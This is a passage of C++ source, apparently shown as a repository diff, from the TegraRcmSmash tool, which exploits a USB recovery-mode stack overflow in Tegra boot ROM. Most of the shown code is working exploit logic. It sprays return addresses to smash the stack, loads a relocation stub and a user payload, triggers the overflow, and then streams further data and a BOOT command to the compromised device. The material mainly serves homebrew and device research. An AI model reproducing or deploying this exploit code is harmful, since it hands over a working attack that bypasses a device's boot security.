||||
|
||||
payloadBuf.resize(payloadBuf.size() + sizeof(u32));
|
||||
memcpy(&payloadBuf[currPayloadOffs], &entry, sizeof(entry));
|
||||
currPayloadOffs += sizeof(entry);
|
||||
assert(currPayloadOffs == payloadBuf.size());
|
||||
}
|
||||
else
|
||||
{
|
||||
constexpr u32 INTERMEZZO_LOCATION = 0x4001F000;
|
||||
// Populate from[RCM_PAYLOAD_ADDR, INTERMEZZO_LOCATION) with the payload address.
|
||||
// We'll use this data to smash the stack when we execute the vulnerable memcpy.
|
||||
{
|
||||
constexpr size_t bytesToAdd = (INTERMEZZO_LOCATION - RCM_PAYLOAD_ADDR);
|
||||
payloadBuf.resize(payloadBuf.size() + bytesToAdd);
|
||||
while (currPayloadOffs < payloadBuf.size())
|
||||
{
|
||||
const u32 spreadMeAround = INTERMEZZO_LOCATION;
|
||||
memcpy(&payloadBuf[currPayloadOffs], &spreadMeAround, sizeof(spreadMeAround));
|
||||
currPayloadOffs += sizeof(spreadMeAround);
|
||||
}
|
||||
}
|
||||
|
||||
// Reload the user-supplied relocator in case it changed
|
||||
if (!usingBuiltinMezzo)
|
||||
{
|
||||
readFileRes = ReadFileToBuf(mezzoBuf, TEXT("relocator"), mezzoFilename, false);
|
||||
if (readFileRes != 0)
|
||||
return readFileRes;
|
||||
}
|
||||
|
||||
// Include the Intermezzo binary in the command stream. This is our first-stage payload, and it's responsible for relocating the final payload to 0x40010000.
|
||||
{
|
||||
payloadBuf.resize(payloadBuf.size() + mezzoBuf.size());
|
||||
if (currPayloadOffs < payloadBuf.size())
|
||||
{
|
||||
memcpy(&payloadBuf[currPayloadOffs], &mezzoBuf[0], mezzoBuf.size());
|
||||
currPayloadOffs += mezzoBuf.size();
|
||||
}
|
||||
assert(currPayloadOffs == payloadBuf.size());
|
||||
}
|
||||
|
||||
constexpr u32 PAYLOAD_LOAD_BLOCK = 0x40020000;
|
||||
// Finally, pad until we've reached the position we need to put the payload.
|
||||
// This ensures the payload winds up at the location Intermezzo expects.
|
||||
{
|
||||
const auto position = INTERMEZZO_LOCATION + mezzoBuf.size();
|
||||
const auto paddingSize = PAYLOAD_LOAD_BLOCK - position;
|
||||
|
||||
payloadBuf.resize(payloadBuf.size() + paddingSize, 0);
|
||||
currPayloadOffs += paddingSize;
|
||||
assert(currPayloadOffs == payloadBuf.size());
|
||||
}
|
||||
|
||||
// Reload the user-supplied binary in case it changed
|
||||
readFileRes = ReadFileToBuf(userFileBuf, TEXT("payload"), inputFilename, false);
|
||||
if (readFileRes != 0)
|
||||
return readFileRes;
|
||||
}
|
||||
|
||||
// Put our user-supplied binary into the payload
|
||||
{
|
||||
payloadBuf.resize(payloadBuf.size() + userFileBuf.size());
|
||||
if (currPayloadOffs < payloadBuf.size())
|
||||
{
|
||||
memcpy(&payloadBuf[currPayloadOffs], &userFileBuf[0], userFileBuf.size());
|
||||
currPayloadOffs += userFileBuf.size();
|
||||
}
|
||||
assert(currPayloadOffs == payloadBuf.size());
|
||||
}
|
||||
|
||||
constexpr size_t PAYLOAD_TOTAL_MAX_SIZE = 192 * 1024;
|
||||
// Pad the payload to fill a USB request exactly, so we don't send a short
|
||||
// packet and break out of the RCM loop.
|
||||
if (payloadBuf.size() < PAYLOAD_TOTAL_MAX_SIZE)
|
||||
payloadBuf.resize(align_up(payloadBuf.size(), RCMDeviceHacker::PACKET_SIZE), 0);
|
||||
else
|
||||
payloadBuf.resize(PAYLOAD_TOTAL_MAX_SIZE);
|
||||
|
||||
// Send the constructed payload, which contains the command, the stack smashing values, the Intermezzo relocation stub, and the user payload.
|
||||
//_tprintf(TEXT("Uploading payload (mezzo size: %u, user size: %u, total size: %u, total padded size: %u)...\n"),
|
||||
//(u32)mezzoBuf.size(), (u32)userFileBuf.size(), (u32)currPayloadOffs, (u32)payloadBuf.size());
|
||||
|
||||
const auto writeRes = rcmDev.write(&payloadBuf[0], payloadBuf.size());
|
||||
if (writeRes < (int)payloadBuf.size())
|
||||
{
|
||||
if (writeRes < 0) {
|
||||
//_ftprintf(stderr, TEXT("Win32 error %d happened trying to write payload buffer to RCM\n"), -writeRes);
|
||||
}
|
||||
else
|
||||
{
|
||||
//_ftprintf(stderr, TEXT("Was only able to upload %d out of %d bytes of payload buffer\n"), writeRes, (int)payloadBuf.size());
|
||||
return -8;
|
||||
}
|
||||
}
|
||||
|
||||
// The RCM backend alternates between two different DMA buffers.Ensure we're about to DMA into the higher one, so we have less to copy during our attack.
|
||||
const auto switchRes = rcmDev.switchToHighBuffer();
|
||||
if (switchRes != 0)
|
||||
{
|
||||
if (switchRes < 0)
|
||||
{
|
||||
//_ftprintf(stderr, TEXT("Failed to switch to high buffer, win32 error %d\n"), -switchRes);
|
||||
return -9;
|
||||
}
|
||||
else if (switchRes != RCMDeviceHacker::PACKET_SIZE)
|
||||
{
|
||||
//_ftprintf(stderr, TEXT("Only wrote %d out of %d bytes during high buffer switch\n"), switchRes, (int)RCMDeviceHacker::PACKET_SIZE);
|
||||
return -9;
|
||||
}
|
||||
|
||||
//_tprintf(TEXT("Switched to high buffer\n"));
|
||||
}
|
||||
|
||||
//_tprintf(TEXT("Smashing the stack!\n"));
|
||||
const auto smashRes = rcmDev.smashTheStack();
|
||||
if (smashRes < 0)
|
||||
{
|
||||
//_ftprintf(stderr, TEXT("Got win32 error %d tryin to smash\n"), -smashRes);
|
||||
return -10;
|
||||
}
|
||||
|
||||
//_tprintf(TEXT("Smashed the stack with a 0x%04x byte SETUP request!\n"), smashRes);
|
||||
|
||||
if (moreData.size() > 0)
|
||||
{
|
||||
ByteVector readBuffer(32768, 0);
|
||||
int bytesRead = 0;
|
||||
while ((bytesRead = rcmDev.read(&readBuffer[0], readBuffer.size())) > 0)
|
||||
{
|
||||
auto dataIt = std::find_if(moreData.begin(), moreData.end(), [bytesRead, &readBuffer](const AdditionalDataItem& itm)
|
||||
{
|
||||
if (itm.isAddr() || itm.isBOOT())
|
||||
return false;
|
||||
|
||||
const char* dataName = itm.getSect();
|
||||
const size_t dataNameLen = strlen(dataName);
|
||||
if (bytesRead > int(dataNameLen) && readBuffer[dataNameLen] == '\n' &&
|
||||
strncmp((const char*)&readBuffer[0], dataName, dataNameLen) == 0)
|
||||
return true;
|
||||
|
||||
return false;
|
||||
});
|
||||
|
||||
static const char READY_INDICATOR[] = "READY.\n";
|
||||
if (bytesRead == array_countof(READY_INDICATOR) - 1 && memcmp(&readBuffer[0], READY_INDICATOR, array_countof(READY_INDICATOR) - 1) == 0)
|
||||
{
|
||||
//_tprintf(TEXT("Switching to command mode due to %hs"), READY_INDICATOR);
|
||||
for (auto& currData : moreData)
|
||||
{
|
||||
if (!currData.isAddr() && !currData.isBOOT())
|
||||
continue;
|
||||
|
||||
if (!currData.isBOOT())
|
||||
{
|
||||
if (!currData.reloaded)
|
||||
{
|
||||
readFileRes = ReadFileToBuf(currData.dataBytes, TEXT("data"), currData.filename, false);
|
||||
if (readFileRes != 0)
|
||||
return readFileRes;
|
||||
|
||||
currData.reloaded = true;
|
||||
}
|
||||
|
||||
//_tprintf(TEXT("Sending %Ts (%llu bytes) to address 0x%08x\n"), currData.filename, (u64)currData.dataBytes.size(), currData.address);
|
||||
if (currData.dataBytes.size() == 0)
|
||||
continue;
|
||||
|
||||
int bytesSent = rcmDev.write((const u8*)"RECV", strlen("RECV"));
|
||||
if (bytesSent == strlen("RECV"))
|
||||
{
|
||||
u32 offsetData[] = { _byteswap_ulong((u32)currData.address), _byteswap_ulong((u32)currData.dataBytes.size()) };
|
||||
bytesSent = rcmDev.write((const u8*)&offsetData[0], sizeof(offsetData));
|
||||
if (bytesSent == sizeof(offsetData))
|
||||
bytesSent = rcmDev.write(&currData.dataBytes[0], currData.dataBytes.size(), readBuffer.size());
|
||||
}
|
||||
if (bytesSent != int(currData.dataBytes.size()))
|
||||
{
|
||||
if (bytesSent < 0)
|
||||
{
|
||||
//_ftprintf(stderr, TEXT("Got win32 err %d during send operation!\n"), -bytesSent);
|
||||
return -10;
|
||||
}
|
||||
else if (size_t(bytesSent) < currData.dataBytes.size())
|
||||
{
|
||||
//_ftprintf(stderr, TEXT("Only sent %d out of %llu bytes for data file %Ts!\n"), bytesSent, (u64)currData.dataBytes.size(), currData.filename);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
//_tprintf(TEXT("Booting AArch64 with PC 0x%08x...\n"), currData.address);
|
||||
int bytesSent = rcmDev.write((const u8*)"BOOT", strlen("BOOT"));
|
||||
if (bytesSent == strlen("BOOT"))
|
||||
{
|
||||
u32 addrData = _byteswap_ulong(currData.address);
|
||||
bytesSent = rcmDev.write((const u8*)&addrData, sizeof(addrData));
|
||||
if (bytesSent == sizeof(addrData))
|
||||
{
|
||||
//_tprintf(TEXT("BOOT command sent successfully! Exiting.\n"));
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
else if (dataIt == moreData.end()) //no matching section to send, just print out the message
|
||||
{
|
||||
WinString printMe((const char*)&readBuffer[0], (const char*)&readBuffer[bytesRead]);
|
||||
//_tprintf(printMe.c_str());
|
||||
}
|
||||
else //got a section to send
|
||||
{
|
||||
//_tprintf(TEXT("Switching to sending of section '%hs'\n"), dataIt->getSect());
|
||||
if (!dataIt->reloaded)
|
||||
{
|
||||
readFileRes = ReadFileToBuf(dataIt->dataBytes, TEXT("data"), dataIt->filename, false);
|
||||
if (readFileRes != 0)
|
||||
return readFileRes;
|
||||
|
||||
dataIt->reloaded = true;
|
||||
}
|
||||
|
||||
size_t numBytesSent = 0;
|
||||
while ((bytesRead = rcmDev.read(&readBuffer[0], readBuffer.size())) >= 8)
|
||||
{
|
||||
u32 offset, length;
|
||||
memcpy(&offset, &readBuffer[0], sizeof(offset));
|
||||
memcpy(&length, &readBuffer[sizeof(offset)], sizeof(length));
|
||||
offset = _byteswap_ulong(offset);
|
||||
length = _byteswap_ulong(length);
|
||||
|
||||
if (length == 0)
|
||||
{
|
||||
//_tprintf(TEXT("Finished sending section '%hs' (total bytes sent: %llu)\n"), dataIt->getSect(), (u64)numBytesSent);
|
||||
break;
|
||||
}
|
||||
|
||||
const auto neededBytes = size_t(offset) + size_t(length);
|
||||
if (neededBytes > dataIt->dataBytes.size())
|
||||
{
|
||||
//_ftprintf(stderr, TEXT("Device requested %llu bytes (we only have %llu in file '%Ts')!\n"), (u64)neededBytes, (u64)dataIt->dataBytes.size(), dataIt->filename);
|
||||
return -2;
|
||||
}
|
||||
|
||||
//_tprintf(TEXT("Sending 0x%08x bytes from offset 0x%08x\n"), length, offset);
|
||||
int bytesSent = rcmDev.write(&dataIt->dataBytes[offset], length, readBuffer.size());
|
||||
if (bytesSent != int(length))
|
||||
{
|
||||
if (bytesSent >= 0)
|
||||
{
|
||||
//_ftprintf(stderr, TEXT("Warn: Sent only %d out of requested %u bytes\n"), bytesSent, length);
|
||||
}
|
||||
else
|
||||
{
|
||||
//_ftprintf(stderr, TEXT("Got win32 err %d during send operation!\n"), -bytesSent);
|
||||
return -10;
|
||||
}
|
||||
}
|
||||
numBytesSent += bytesSent;
|
||||
}
|
||||
if (bytesRead < 0)
|
||||
{
|
||||
//_ftprintf(stderr, TEXT("Got win32 err %d during [offset,length] read operation!\n"), -bytesRead);
|
||||
return -10;
|
||||
}
|
||||
else if (bytesRead < 8)
|
||||
{
|
||||
//_ftprintf(stderr, TEXT("Read too short packet (%d bytes) while in section send mode, dropping out.\n"), bytesRead);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (bytesRead < 0)
|
||||
{
|
||||
//_ftprintf(stderr, TEXT("Win32 error %d during post-smash read op\n"), -bytesRead);
|
||||
return -10;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -18,7 +18,5 @@ public:
|
|||
TegraRcmSmash();
|
||||
~TegraRcmSmash();
|
||||
static int RcmStatus();
|
||||
static int Smash(TCHAR* payload, CString coreboot = _T(""));
|
||||
static int SmashMain(int argc, TCHAR* argv[]);
|
||||
};
|
||||
|
||||
|
|
BIN
resource.h
BIN
resource.h
Binary file not shown.
Loading…
Reference in a new issue